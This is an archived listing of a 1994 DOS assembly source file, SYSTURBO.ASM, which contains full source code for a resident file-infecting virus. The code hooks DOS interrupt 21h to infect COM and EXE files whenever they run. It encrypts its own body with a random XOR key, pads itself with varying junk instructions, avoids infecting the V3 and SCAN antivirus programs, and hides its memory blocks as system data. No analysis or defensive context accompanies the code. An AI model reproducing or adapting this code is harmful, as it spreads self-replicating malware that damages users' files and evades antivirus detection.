home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / KOREACOL.ZIP / SYSTURBO.ZIP / SYSTURBO.ASM < prev    next >
Encoding:
Assembly Source File  |  1994-08-16  |  23.7 KB  |  837 lines

  1. CR              EQU     0dh
  2. LF              EQU     0ah
  3.  
  4. NOP1            EQU     89h,0c0h                 ;mov ax,ax
  5. NOP2            EQU     89h,0dbh                 ;mov bx,bx
  6. NOP3            EQU     89h,0c9h                 ;mov cx,cx
  7. NOP4            EQU     89h,0d2h                 ;mov dx,dx
  8. NOP5            EQU     89h,0f6h                 ;mov si,si
  9. NOP6            EQU     89h,0ffh                 ;mov di,di
  10.  
  11. NOP7            EQU     83h,0ceh,00h             ;or  si,00
  12. NOP8            EQU     83h,0cbh,00h             ;or  bx,00
  13. NOP9            EQU     83h,0c2h,00h             ;add dx,00
  14. NOP10           EQU     83h,0e1h,0ffh            ;and cx,0ffffh
  15. NOP11           EQU     83h,0e5h,0ffh            ;and bp,0ffffh
  16.  
  17. BYTESIZE        EQU     (tail - start)
  18. HEADSIZE        EQU     (offset COM_START - offset start)
  19. PARASIZE        EQU     ((BYTESIZE+0Fh)/10h)
  20. GAJASIZE        EQU     (offset BATE_END - offset BATE1 + 6)
  21.  
  22. ;***********************************************************
  23. ;
  24. ;           INFECTED FILE'S ROUTINE ( = BATE )
  25. ;
  26. ;***********************************************************
  27.  
  28. code            segment
  29.                 assume cs:code,ds:code
  30.  
  31.                 mov ah,4ch
  32.                 int 21h
  33.  
  34. code            ends
  35.  
  36.  
  37. ;***********************************************************
  38. ;
  39. ;                ORIGINAL VIRUS ROUTINE
  40. ;
  41. ;***********************************************************
  42.  
  43.  
  44. main            segment
  45.                 assume  cs:main,ds:main
  46.                 jumps                              ;TASM special code
  47.                                                    ;no limitation of
  48. start:                                             ;jmp code length
  49.  
  50.                 call    start_point
  51.  
  52. start_point:
  53.  
  54.                 pop     si
  55.                 sub     si,3                       ;get original start
  56.                                                    ;pointer
  57.  
  58.                 mov     dx,si
  59.  
  60.                 mov     ax,cs
  61.                 mov     ds,ax
  62.                 mov     PSP_SEG[si],es
  63.                 mov     es,ax
  64.  
  65.                 add     si,HEADSIZE
  66.                 mov     di,si
  67.                 mov     cx,BYTESIZE-HEADSIZE
  68.                 cld
  69.  
  70. move_loop:                              ;decode loop
  71.                 lodsb
  72. key_value:      xor     al,00h          ;offset for key value
  73.                 stosb
  74.  
  75.                 loop    move_loop
  76.  
  77.                 mov     si,dx
  78.  
  79.                 jmp     check_mem       ;jump to program body
  80.  
  81. PSP_SEG         dw      0               ;PSP_SEG
  82.  
  83. COM_START       db      0e9h            ;VIRUS_JUMP_CODE
  84.                 dw      0
  85. EXE_IP          dw      0               ;EXE_IP
  86. EXE_CS          dw      0               ;EXE_CS
  87. EXE_SP          dw      0fffeh          ;EXE_SP
  88. EXE_SS          dw      0               ;EXE_SS
  89. COM_IP          dw      100h
  90. COM_CS          dw      0
  91. SPACE_SEG       dw      0               ;SPACE_SEG
  92. VIRUS_SEG       dw      0               ;VIRUS_SEG
  93. FILE_TYPE       db      1               ;FILE_TYPE
  94.  
  95. INT21_OFF       dw      0               ;INT21_OFF
  96. INT21_SEG       dw      0               ;INT21_SEG
  97. INT1C_OFF       dw      0               ;INT1C_OFF
  98. INT1C_SEG       dw      0               ;INT1C_SEG
  99. INT24_OFF       dw      0               ;INT24_OFF
  100. INT24_SEG       dw      0               ;INT24_SEG
  101. ALL_BYTE        dw      BYTESIZE        ;ALL_BYTE
  102. MARKER          dw      0
  103. FILE_NAME       dd      0               ;FILE_NAME
  104. FILE_SIZE       dd      0               ;FILE_SIZE
  105. TARGET_FILE1    db      'V3'            ;TARGET_FILE1
  106. TARGET_FILE2    db      'SCAN'          ;TARGET_FILE2
  107. FILE_HANDLE     dw      0               ;FILE_HANDLE
  108. FILE_ATTR       dw      0               ;FILE_ATTR
  109. FILE_DATE       dw      0               ;FILE_DATE
  110. FILE_TIME       dw      0               ;FILE_TIME
  111. FILE_NAME_START dw      0               ;COLUMNS_OFF
  112. EXE_HEADER      db      40h dup (0)     ;EXE_HEADER
  113. START_POINT2    dw      0               ;END_1
  114. START_POINT1    dw      0               ;END_2
  115. PARAGRAPH       dw      0016            ;PARAGRAPH
  116. SECTOR          dw      0512            ;SECTOR
  117. RANDOM1         dw      0               ;RANDOM
  118. RANDOM2         dw      0               ;VALUES
  119.  
  120. BATE1           db      NOP2,NOP3,NOP1
  121.                 db      NOP8,NOP11
  122.                 db      NOP1,NOP2,NOP3
  123.                 db      NOP9,NOP7
  124.                 db      NOP1,NOP2,NOP3
  125.                 db      NOP10,NOP8
  126.                 db      NOP4,NOP2,NOP5
  127.                 db      NOP7,NOP11
  128.                 db      NOP1,NOP2,NOP6
  129.                 db      NOP11,NOP8
  130.                 db      NOP5,NOP2,NOP6
  131.                 db      NOP9,NOP7
  132.                 db      NOP1,NOP2,NOP3
  133.                 db      NOP8,NOP9
  134.                 db      NOP3,NOP2,NOP4
  135. BATE_END        db      NOP11,NOP7
  136.  
  137. check_mem:
  138.  
  139.                 mov     ax,0dcfeh              ;check memory to
  140.                 int     21h                    ;find virus
  141.                 cmp     ah,06h
  142.                 jz      exe_routine
  143.  
  144. make_tsr:
  145.  
  146.                 mov     es,PSP_SEG[si]
  147.  
  148.                 mov     ah,49h                  ;release memory
  149.                 int     21h
  150.  
  151.                 mov     bx,0ffffh               ;get useful memory
  152.                 mov     ah,48h                  ;size
  153.                 int     21h
  154.  
  155.                 mov     ah,48h                  ;re-allocation
  156.                 sub     bx,(PARASIZE+1)*2+32
  157.                 jc      exe_routine
  158.                 int     21h
  159.  
  160.                 mov     ah,48h                  ;mem allocation for
  161.                 mov     bx,PARASIZE             ;virus TSR
  162.                 int     21h
  163.                 mov     VIRUS_SEG[si],ax
  164.  
  165.                 mov     ah,48h                  ;mem allocation for
  166.                 mov     bx,PARASIZE+32          ;virus DATA
  167.                 int     21h
  168.                 mov     SPACE_SEG[si],ax
  169.  
  170.                 mov     ax,VIRUS_SEG[si]        ;force virus to resident
  171.                 dec     ax                      ;in memory
  172.                 mov     es,ax
  173.                 mov     word ptr es:[01h],08h   ;fake system as system data!
  174.  
  175.                 mov     ax,SPACE_SEG[si]        ;force virus to resident
  176.                 dec     ax                      ;in memory
  177.                 mov     es,ax
  178.                 mov     word ptr es:[01h],08h   ;fake system as system data!
  179.  
  180.                 push    si
  181.  
  182.                 mov     es,VIRUS_SEG[si]        ;move virus program
  183.                 xor     di,di                   ;to the highest
  184.                 mov     cx,BYTESIZE             ;block
  185.                 cld
  186.                 rep     movsb
  187.  
  188.                 pop     si
  189.  
  190. chng_21:
  191.  
  192.                 mov     ax,VIRUS_SEG[si]       ;change 21h & 1ch
  193.                 mov     es,ax                  ;interrupts
  194.  
  195.                 xor     ax,ax
  196.                 mov     ds,ax
  197.  
  198.                 mov     ax,word ptr ds:[084h]
  199.                 mov     es:INT21_OFF,ax
  200.                 mov     ax,word ptr ds:[086h]
  201.                 mov     es:INT21_SEG,ax
  202.  
  203.                 cli
  204.                 mov     word ptr ds:[84h],offset int_21h
  205.                 mov     word ptr ds:[86h],es
  206.                 sti
  207.  
  208. chng_1c:
  209.  
  210.                 xor     ax,ax
  211.                 mov     ds,ax
  212.                 mov     ax,word ptr ds:[090h]
  213.                 mov     es:INT1C_OFF,ax
  214.                 mov     ax,word ptr ds:[092h]
  215.                 mov     es:INT1C_SEG,ax
  216.  
  217.                 cli
  218.                 mov     word ptr ds:[90h],offset int_1ch
  219.                 mov     word ptr ds:[92h],es
  220.                 sti
  221.  
  222. exe_routine:
  223.  
  224.                 cmp     cs:FILE_TYPE[si],0
  225.                 jz      com_routine
  226.  
  227.                 mov     ax,cs:PSP_SEG[si]
  228.                 mov     es,ax
  229.                 mov     ds,ax
  230.                 add     ax,0010h
  231.                 add     cs:EXE_CS[si],ax
  232.                 add     cs:EXE_SS[si],ax
  233.  
  234.  
  235.                 cli
  236.                 mov     ss,cs:EXE_SS[si]          ;adjust segments for executing
  237.                 mov     sp,cs:EXE_SP[si]          ;the exe_program
  238.                 sti
  239.  
  240.                 xor     ax,ax
  241.                 xor     bx,bx
  242.  
  243.                 jmp     dword ptr cs:EXE_IP[si]
  244.  
  245. com_routine:
  246.  
  247.                 mov     ax,cs
  248.                 mov     ds,ax
  249.                 mov     es,ax
  250.                 mov     COM_CS[si],ax
  251.  
  252.                 mov     bx,si
  253.  
  254.                 mov     ax,offset EXE_HEADER
  255.                 add     si,ax
  256.                 mov     di,100h
  257.                 movsb
  258.                 movsw
  259.  
  260.                 mov     si,bx
  261.  
  262.                 xor     ax,ax
  263.                 xor     bx,bx
  264.  
  265.                 jmp     dword ptr COM_IP[si]
  266.  
  267. int_1ch:
  268.  
  269.                 jmp     dword ptr cs:INT1C_OFF
  270.  
  271.  
  272. int_24h:
  273.                 xor     al,al
  274.                 iret
  275.  
  276. int_21h:
  277.  
  278.                 pushf
  279.  
  280.                 cmp     ax,4b00h
  281.                 jz      gariginal
  282.  
  283.                 cmp     ax,0dcfeh
  284.                 jnz     original
  285.  
  286.                 mov     ah,06h
  287.                 popf
  288.                 iret
  289.  
  290. original:
  291.                 popf
  292.                 jmp     dword ptr cs:INT21_OFF
  293.  
  294. gariginal:
  295.                                                  ;ds:dx=file name
  296.                 push    ax
  297.                 push    bx
  298.                 push    cx
  299.                 push    dx
  300.                 push    ds
  301.                 push    es
  302.                 push    si
  303.                 push    di
  304.  
  305.  
  306.                 mov     word ptr cs:FILE_NAME[00h],dx
  307.                 mov     word ptr cs:FILE_NAME[02h],ds
  308.  
  309. get_drive:
  310.                 cld
  311.                 mov     di,dx
  312.                 xor     dl,dl
  313.                 cmp     byte ptr [di+01],3ah
  314.                 jnz     chk_capacity
  315.                 mov     dl,[di]
  316.                 and     dl,1fh
  317. chk_capacity:
  318.                 mov     ah,36h
  319.                 int     21h
  320.                 cmp     ax,0ffffh
  321.                 jz      return_back2
  322.                 mul     bx
  323.                 mul     cx
  324.                 or      dx,dx
  325.                 jnz     capacity_ok
  326.                 cmp     ax,BYTESIZE*2
  327.                 jb      return_back2
  328.  
  329. capacity_ok:
  330.  
  331.  
  332.                 mov     dx,word ptr cs:FILE_NAME[00h]
  333.                 mov     ax,word ptr cs:FILE_NAME[02h]
  334.                 mov     ds,ax
  335.  
  336.                 mov     si,ds                      ;restore DS
  337.  
  338.                 xor     ax,ax
  339.                 mov     ds,ax
  340.                 les     ax,dword ptr ds:[90h]      ;change int 24h
  341.  
  342.                 mov     word ptr cs:INT24_OFF,ax
  343.                 mov     word ptr cs:INT24_SEG,es
  344.  
  345.                 mov     word ptr ds:[90h],offset int_24h
  346.                 mov     word ptr ds:[92h],cs
  347.  
  348.                 mov     ds,si                  ;ds:dx=file name
  349.  
  350.                 xor     cx,cx
  351.                 mov     ax,4300h               ;get file attribute
  352.                 pushf
  353.                 call    dword ptr cs:INT21_OFF ;cx=file attribute
  354.  
  355.                 mov     bx,cx
  356.                 and     cl,0feh
  357.                 cmp     cl,bl
  358.                 je      infect_start
  359.  
  360.                 mov     ax,4301h               ;set file attribute
  361.                 pushf
  362.                 call    dword ptr cs:INT21_OFF
  363.                 jc      return_back1
  364.  
  365. infect_start:
  366.  
  367.                 push    ds
  368.                 push    dx
  369.                 push    bx
  370.  
  371.                 mov     ax,3d02h               ;open file
  372.                 pushf
  373.                 call    dword ptr cs:INT21_OFF
  374.                 jc      open_error
  375.  
  376.                 mov     bx,ax                  ;return ax->bx=handle
  377.                 mov     cs:FILE_HANDLE,ax
  378.  
  379.                 call    read_handle
  380.  
  381.                 mov     bx,cs:FILE_HANDLE
  382.                 mov     ah,3eh                 ;bx=handle
  383.                 pushf
  384.                 call    dword ptr cs:INT21_OFF
  385.                                                ;close file
  386.  
  387. open_error:
  388.  
  389.                 pop     cx                     ;return cx=attribute
  390.                 pop     dx
  391.                 pop     ds
  392.  
  393.                 mov     ax,4301h               ;cx=file attribute
  394.                 pushf
  395.                 call    dword ptr cs:INT21_OFF
  396.                                                ;change attribute
  397.                                                ;ds:dx=file name
  398.  
  399. return_back1:
  400.  
  401.                 xor     ax,ax
  402.                 mov     ds,ax
  403.  
  404.                 mov     ax,cs:INT24_OFF
  405.                 mov     word ptr ds:[90h],ax  ;repair
  406.                 mov     ax,cs:INT24_SEG
  407.                 mov     word ptr ds:[92h],ax  ;int 24h
  408.  
  409.  
  410. return_back2:
  411.  
  412.                 pop     di
  413.                 pop     si
  414.                 pop     es
  415.                 pop     ds
  416.                 pop     dx
  417.                 pop     cx
  418.                 pop     bx
  419.                 pop     ax
  420.  
  421.                 popf
  422.                 jmp     dword ptr cs:INT21_OFF
  423.  
  424.  
  425. ;***********************************************************
  426. ;
  427. ;                HANDLE READ ROUTINE
  428. ;
  429. ;***********************************************************
  430.  
  431. read_handle     proc    near
  432.  
  433.                 mov     ax,4200h
  434.                 xor     cx,cx
  435.                 xor     dx,dx
  436.                 pushf
  437.                 call    dword ptr cs:INT21_OFF
  438.                 jc      int_error1
  439.  
  440.                 mov     ax,cs                   ;handle read
  441.                 mov     ds,ax                   ;into buffer
  442.                 mov     es,ax                   ;named EXE_HEADER
  443.                 mov     dx,offset EXE_HEADER
  444.                 mov     cx,40h
  445.                 mov     ah,3fh
  446.                 pushf
  447.                 call    dword ptr cs:INT21_OFF
  448.  
  449.                 jc      int_error1
  450.  
  451.                 xor     cx,cx                   ;get real file size
  452.                 xor     dx,dx                   ;and restore return
  453.                 mov     ax,4202h                ;value
  454.                 pushf
  455.                 call    dword ptr cs:INT21_OFF
  456.  
  457.                 mov     word ptr FILE_SIZE[00],ax
  458.                 mov     word ptr FILE_SIZE[02],dx
  459.  
  460.                 cmp     ax,BYTESIZE
  461.                 ja      check_infect
  462.                 cmp     dx,0
  463.                 je      int_error1
  464.  
  465. check_infect:
  466.  
  467.                 and     ax,000fh
  468.                 cmp     ax,0005
  469.                 jz      int_error1
  470.  
  471.  
  472. check_exe:
  473.  
  474.                 cmp     word ptr EXE_HEADER,5a4dh
  475.                 jne     check_com
  476.  
  477.  
  478.                 mov     dx,word ptr EXE_HEADER[3ch]
  479.                 mov     cx,word ptr EXE_HEADER[3ch+2]
  480.                 mov     ax,4200h
  481.                 pushf
  482.                 call    dword ptr cs:INT21_OFF
  483.  
  484.                 mov     cx,2
  485.                 mov     dx,offset MARKER
  486.                 mov     ah,3fh
  487.                 pushf
  488.                 call    dword ptr cs:INT21_OFF
  489.  
  490.                 cmp     word ptr MARKER,454eh        ;check windows file
  491.                 jz      int_error1                   ;don't infect windows
  492.  
  493.                 mov     ax,word ptr EXE_HEADER[04h]  ;compute file size
  494.                 cmp     word ptr EXE_HEADER[02h],00  ;listed in exe header
  495.                 jz      no_dec
  496.                 dec     ax
  497.  
  498. no_dec:
  499.  
  500.                 mul     SECTOR                       ;dx:ax=file size
  501.                 add     ax,word ptr EXE_HEADER[02h]  ;check overay file
  502.                 adc     dx,00h
  503.  
  504.                 cmp     word ptr FILE_SIZE[00h],ax   ;if overay file,
  505.                 jnz     int_error1                   ;exit
  506.  
  507.                 cmp     word ptr FILE_SIZE[02h],dx
  508.                 jnz     int_error1
  509.  
  510. exe_ok:
  511.  
  512.                 mov     FILE_TYPE,1
  513.  
  514.                 jmp     write_virus
  515.  
  516.  
  517. check_com:
  518.  
  519.                 cmp     byte ptr EXE_HEADER,0e9h
  520.                 jne     int_error1
  521.  
  522.                 cmp     word ptr FILE_SIZE[00h],0f060h
  523.                 jnb     int_error1
  524.  
  525.                 mov     FILE_TYPE,0
  526.  
  527.  
  528. write_virus:
  529.  
  530.                 lds     dx,cs:FILE_NAME
  531.  
  532.                 mov     ax,ds
  533.                 mov     es,ax
  534.  
  535.                 mov     di,dx
  536.                 xor     al,al
  537.                 mov     cx,41h                  ;search '00h'
  538.                 repnz   scasb                   ;compare al and es:[di]
  539.  
  540.                 mov     si,word ptr cs:FILE_NAME
  541.  
  542. capitalize:
  543.                                                 ;capitalize
  544.                 mov     al,[si]                 ;for process
  545.                 or      al,al
  546.                 jz      check_slash
  547.                 cmp     al,61h
  548.                 jb      inc_si
  549.                 cmp     al,7ah
  550.                 ja      inc_si
  551.                 sub     byte ptr [si],20h
  552.  
  553. inc_si:
  554.  
  555.                 inc     si
  556.                 jmp     capitalize
  557.  
  558. check_slash:                                    ;check back slash
  559.                                                 ;for finding real
  560.                 std                             ;file pointer
  561.                 mov     di,si
  562.                 mov     al,5ch
  563.                 mov     cx,0041h
  564.                 repnz   scasb
  565.  
  566.                 inc     di
  567.                 inc     di
  568.  
  569.                 mov     cs:FILE_NAME_START,di
  570.  
  571.                 cld
  572.  
  573. check_target1:
  574.  
  575.                 mov     si,di
  576.                 mov     ax,cs
  577.                 mov     es,ax
  578.                 mov     di,offset TARGET_FILE1      ;file is V3 ?
  579.                 mov     cx,2
  580.                 repz    cmpsb
  581.                 jnz     check_target2
  582.                 jmp     int_error1
  583.  
  584. check_target2:
  585.  
  586.                 mov     cx,4
  587.                 mov     di,offset TARGET_FILE2      ;file is SCAN series ?
  588.                 mov     si,cs:FILE_NAME_START
  589.                 repz    cmpsb
  590.                 jnz     virus_process
  591.                 jmp     int_error1
  592.  
  593. virus_process:
  594.  
  595.                 mov     ax,cs                       ;cs=ds
  596.                 mov     ds,ax                       ;set register
  597.  
  598.                 mov     ax,40h                      ;get random value
  599.                 mov     es,ax                       ;in bios area
  600.                 mov     ax,word ptr es:[6ch]
  601.  
  602.                 mov     byte ptr key_value[01h],al  ;key value fo encode
  603.                 and     ax,000fh
  604.  
  605.                 mov     dx,6                        ;multiple dx*ax
  606.                 mul     dx                          ;return dx:ax
  607.                                                     ;restore random*6
  608.                 mov     RANDOM1,ax                  ;value
  609.  
  610.                 mov     ah,2ch
  611.                 pushf
  612.                 call    dword ptr cs:INT21_OFF
  613.                 mov     ax,dx
  614.  
  615.                 and     ax,000fh
  616.                 mul     PARAGRAPH
  617.  
  618.                 mov     RANDOM2,ax
  619.  
  620.                 add     ax,BYTESIZE
  621.                 mov     ALL_BYTE,ax
  622.                 add     ALL_BYTE,GAJASIZE
  623.  
  624.                 mov     cx,word ptr FILE_SIZE[02h]
  625.                 mov     dx,word ptr FILE_SIZE[00h]
  626.  
  627.                 and     dx,000fh
  628.                 add     ALL_BYTE,000fh
  629.                 and     ALL_BYTE,0fff0h
  630.                 add     ALL_BYTE,5
  631.                 sub     ALL_BYTE,dx
  632.  
  633.                 mov     ax,5700h
  634.                 pushf
  635.                 call    dword ptr cs:INT21_OFF
  636.  
  637.                 mov     FILE_DATE,dx
  638.                 mov     FILE_TIME,cx
  639.  
  640.                 cmp     FILE_TYPE,1
  641.                 jz      exe_process
  642.                 cmp     FILE_TYPE,0
  643.                 jz      com_process
  644.                 jmp     int_error1
  645.  
  646. exe_process:
  647.  
  648.                 mov     ax,word ptr EXE_HEADER[0eh]     ;header infomation
  649.                 mov     EXE_SS,ax
  650.  
  651.                 mov     ax,word ptr EXE_HEADER[10h]
  652.                 mov     EXE_SP,ax
  653.  
  654.                 mov     ax,word ptr EXE_HEADER[14h]
  655.                 mov     EXE_IP,ax
  656.  
  657.                 mov     ax,word ptr EXE_HEADER[16h]
  658.                 mov     EXE_CS,ax
  659.  
  660.                 mov     ax,word ptr EXE_HEADER[04h]
  661.  
  662.                 cmp     word ptr EXE_HEADER[02h],00
  663.  
  664.                 jz      no_dec2
  665.                 dec     ax
  666.  
  667. no_dec2:
  668.  
  669.                 mul     SECTOR
  670.  
  671.                 add     ax,word ptr EXE_HEADER[02h]
  672.                 adc     dx,00
  673.  
  674.                 mov     START_POINT2,ax
  675.                 mov     START_POINT1,dx
  676.  
  677.                 add     ax,ALL_BYTE
  678.                 adc     dx,00
  679.                 jc      int_error1
  680.  
  681.                 div     SECTOR
  682.  
  683.                 cmp     ax,0400h
  684.                 jae     int_error1
  685.  
  686.                 cmp     dx,0
  687.                 jz      no_inc
  688.  
  689.                 inc     ax
  690.  
  691. no_inc:
  692.  
  693.                 mov     word ptr EXE_HEADER[04h],ax
  694.                 mov     word ptr EXE_HEADER[02h],dx
  695.  
  696.                 mov     ax,START_POINT2
  697.                 mov     dx,START_POINT1
  698.  
  699.                 div     PARAGRAPH
  700.  
  701.                 sub     ax,word ptr EXE_HEADER[08h]         ;header size
  702.  
  703.                 mov     word ptr EXE_HEADER[16h],ax         ;cs
  704.                 mov     word ptr EXE_HEADER[0eh],ax         ;ss
  705.                 mov     ax,BYTESIZE
  706.                 add     ax,GAJASIZE-2
  707.                 mov     word ptr EXE_HEADER[10h],ax         ;sp
  708.                 mov     word ptr EXE_HEADER[14h],dx         ;ip
  709.  
  710.  
  711. write_header:
  712.  
  713.  
  714.                 mov     ax,4200h
  715.                 xor     cx,cx
  716.                 xor     dx,dx
  717.                 pushf
  718.                 call    dword ptr cs:INT21_OFF
  719.                 jc      int_error1
  720.  
  721.                 mov     ah,40h
  722.                 mov     cx,20h
  723.                 mov     dx,offset EXE_HEADER
  724.                 pushf
  725.                 call    dword ptr cs:INT21_OFF
  726.                 jc      int_error1
  727.  
  728.                 jmp     virus_to_buffer
  729.  
  730.  
  731. com_process:
  732.  
  733.                 mov     ax,word ptr FILE_SIZE[00]
  734.                 mov     dx,word ptr FILE_SIZE[02]
  735.  
  736.                 sub     ax,3
  737.                 mov     word ptr COM_START[01],ax
  738.  
  739.                 mov     ax,4200h
  740.                 xor     cx,cx
  741.                 xor     dx,dx
  742.                 pushf
  743.                 call    dword ptr cs:INT21_OFF
  744.                 jc      int_error1
  745.  
  746.                 mov     ah,40h
  747.                 mov     cx,3
  748.                 mov     dx,offset COM_START
  749.                 pushf
  750.                 call    dword ptr cs:INT21_OFF
  751.                 jc      int_error1
  752.  
  753.  
  754. virus_to_buffer:
  755.  
  756.                 mov     ax,SPACE_SEG
  757.                 mov     es,ax
  758.                 xor     di,di
  759.                 mov     si,offset BATE1
  760.  
  761.                 cld
  762.  
  763.                 mov     cx,GAJASIZE
  764.                 rep     movsb
  765.  
  766.                 xor     si,si
  767.  
  768.                 mov     cx,HEADSIZE
  769.                 rep     movsb
  770.  
  771.  
  772.                 mov     cx,BYTESIZE-HEADSIZE
  773.  
  774. move_loop2:
  775.  
  776.                 lodsb
  777.                 xor     al,byte ptr key_value[01h]
  778.                 stosb
  779.  
  780.                 loop    move_loop2
  781.  
  782.  
  783. buffer_to_file:
  784.  
  785.  
  786.                 mov     bx,FILE_HANDLE
  787.                 mov     ax,4202h
  788.                 xor     cx,cx
  789.                 xor     dx,dx
  790.                 pushf
  791.                 call    dword ptr cs:INT21_OFF
  792.  
  793.  
  794.                 mov     cx,ALL_BYTE
  795.                 mov     dx,RANDOM1
  796.                 mov     ax,es
  797.                 mov     ds,ax
  798.                 mov     ah,40h
  799.                 pushf
  800.                 call    dword ptr cs:INT21_OFF
  801.  
  802. repair_date:
  803.  
  804.                 mov     ax,5701h
  805.                 mov     dx,cs:FILE_DATE
  806.                 mov     cx,cs:FILE_TIME
  807.                 pushf
  808.                 call    dword ptr cs:INT21_OFF
  809.  
  810. int_error1:
  811.                 retn
  812.  
  813. read_handle     endp
  814.  
  815.  
  816. stack_space     dw      32 dup (?)
  817.  
  818. tail            label   byte
  819.  
  820. main            ends
  821.  
  822. stac            segment para stack 'stack'
  823.  
  824.                 db      100 dup (0)
  825.  
  826. stac            ends
  827.  
  828.                 end     start
  829.  
  830.  
  831.  
  832.  
  833.  
  834.  
  835.  
  836.  
  837.